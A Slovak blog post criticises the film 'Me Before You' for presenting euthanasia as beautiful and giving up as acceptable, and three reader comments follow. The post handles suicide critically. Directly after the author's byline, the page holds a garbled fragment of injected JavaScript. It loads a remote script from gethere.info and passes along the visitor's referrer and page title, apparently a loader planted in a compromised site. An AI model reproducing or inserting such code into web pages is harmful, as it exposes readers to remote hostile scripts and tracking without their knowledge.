Blog: Ako „krásne“ zomrieť

V kinách momentálne premietajú romantický film Me before you alebo v preklade Predtým, ako som ťa spoznala. Áno, pokorne priznávam, že z času na čas takýmto romantickým žánrom prepadnem a väčšinou to neľutujem. Teraz som to však veľmi oľutovala. Prosím, nerobte tú istú chybu ako ja.

Krátky úvod do deja: ide o príbeh mladého Willa, ktorý je krásny mladý šikovný muž v najlepšom veku, celý svet mu leží pri nohách, s krásnou ženou po svojom boku, skvelý v športe a milujúci svoj život. Jedného dňa ho zrazí  motorkár a on sa ocitá pripútaný na lôžko s paralýzou celého tela, vrátane rúk. Jeho bohatí rodičia robia všetko preto, aby mal aj napriek tomu skvelý život a snažia sa ho vymaniť z depresie, ktorú prežíva. Ako jeho osobnú asistentku najmú lokálne dedinské dievča, plné radosti zo života, tak trochu šibnuté svojou detinskosťou a láskavosťou. Samozrejme, Will ju od začiatku odmieta, no krôčik po krôčiku sa k nemu Louisa približuje. Všetko je to pekné a predvídateľné, až sa ocitneme pri základnom probléme celého filmu – Will nechce žiť. Rodičom sľúbil posledných šesť mesiacov života a potom odchádza do Švajčiarska, kde ukončí svoj život, lebo on „takýto život žiť nechce, toto nie je jeho život”.

Celý film máte pocit nádeje, že predsa ho tá krásna a veselá Louisa presvedčí a nakazí ho svojou radosťou zo života. Ak v to dúfate celý film, musím vás sklamať.

A teda prečo hovorím NIE tomuto príbehu?

Neschopnosť bojovať.

Will prestáva bojovať. Z veľkého bojovníka, ktorý bol pred nehodou (skvelý a silný športovec, úspešný businessman, milujúci partner) sa zrazu stáva nevládny mladý muž, bez štipky bojovnosti, ktorý donekonečna opakuje – toto nie je môj život, ja som miloval svoj život, ale toto už nie je môj život. Akokeby úspech a len úspech definoval šťastný život. V momente neúspechu a bolesti sa vzdávam a odmietam takýto život. Celá pseudobojovnosť sa vytráca a nasleduje beznádej.

Romantické znázornenie eutanázie.

Druhou vecou, ktorú nám film predkladá na zlatom podnose je to, že práve v takýchto chvíľach beznádeje, nemusíme bojovať, ale môžeme svoj život ukončiť. Keď sa tu už necítiš dobre a nepokladáš to za svoj život, je to v poriadku, navštíviš Švajčiarsko a pri výhľade na krásne hory a za slnečného dňa ukončíš svoj život.

Je až ironické, ako romanticky bol podaný záver filmu, či už výberom krajiny, prítomnosťou najbližších či krásnou miestnosťou presvetlenou lúčmi horského slnka. A divák si pomyslí, no aká krásna smrť.

Sebecká kultúra.

Will zanecháva Louise list, ktorý si má prečítať už v Paríži, v jeho obľúbenej kaviarni, kam Will chodil sedávať, keď bol ešte zdravý. Odporúča jej, aby si dala dobrú kávu, šla si kúpiť skvelý parfém do butiku naproti a začala konečne žiť, lebo to, čo žila doteraz, nie je skutočný život. Konečne má žiť sama za seba, nie pre druhých, ako to robila doteraz, keď žila s celou trojgeneračnou rodinou, kde sa rátalo aj s jej príjmom v rodinnom rozpočte a kde bola potešením pre ostatných. Isté prehnané martýrstvo tejto ženskej postavy uznávam aj ja, no nesúhlasím, že život, ktorý žijeme pre druhých je nudný, nemoderný až priam otrokársky, ako ho vykreslil Will. To by sme všetkým naším rodičom a starým rodičom povedali, že svoj život neprežili naplno, lebo ho venovali rodine a dobrým vzťahom a že jediný život hodný žitia je ten vo veľkomeste, keď študujem alebo pracujem, som úspešný a môžem si kúpiť, čo chcem.

Nedotknuteľní.

Film s podobným motívom starostlivosti o paralyzovaného človeka vyšiel pred piatimi rokmi z francúzskej filmovej dielne s názvom The Intouchables – Nedotknuteľní. Na rozdiel od spomínaného Me before youNedoknuteľní plní bojovnosti a správneho zápalu, prijímajúcej pomoci a krásneho priateľstva, o skvelom humore nehovoriac. Ak máte teda chuť na dobrý film s touto témou, určite Nedotknuteľní, tí sa vás určite viac dotknú.

Na bojovnosti záleží…

… presne na takej bojovnosti, akú mal Viktor Frankl, ktorý napriek koncentračnému táboru povedal životu áno. Bojovnosť, akú sme obdivovali u Antona Srholca, či akú majú naši starí rodičia, aj keď sú pripútaní na lôžko. Myslím, že práve film Me before you, chce túto bojovnosť ukradnúť.

text: Mirka Duranková |  foto: pinterest.com

výkonná riaditeľka Kolégias.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;

4 replies
  1. maros says:

    Presne aj to bola moja namietka, ked mi sesternica o tomto ‘uzasnom’ filme referovala, trosku ladovo som ju schladil, ze cool podanie eutanazie nie je v poriadku.

    Odpovedať
  2. camille says:

    uzasny clanok, ma to ale jednu neprehliadnutelnu chybu – glorifikaciu Srholca, a jeho bojovnosti, ktora bola skor bojovnostou proti poslusnosti a pokore ako bojovnost za Pravdu :/ skoda . . .

    Odpovedať
  3. Viki says:

    Bola som na Me Before You v kine, tešila som sa na to naozaj dlho,hlavne kvôli Louisinej optimistickej povahe a svojskému štýlu. Trailer som si niekoľko krát pozerala, a nespomínam si, že by sa tam vravelo niečo o eutanázii. Približne v polovičke filmu som začala mať pocit, že niečo nie je vporiadku, a akonáhle prišla scéna, kde sa Louisa dozvedela o Willových plánoch, pochopila som, ako to celé skončí a nedokázala som si užiť zvyšok filmu. Cítila som sa oklamaná. A tiež som z kina odchádzala nahnevaná. Smrť nestačí zabaliť do krásnych farieb, aby bola krásna. Nekriticky mysliaci divák sa nechá „namotať“ na povrchné veci…

    Odpovedať

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Pridaj komentár

Vaša e-mailová adresa nebude zverejnená. Vyžadované polia sú označené *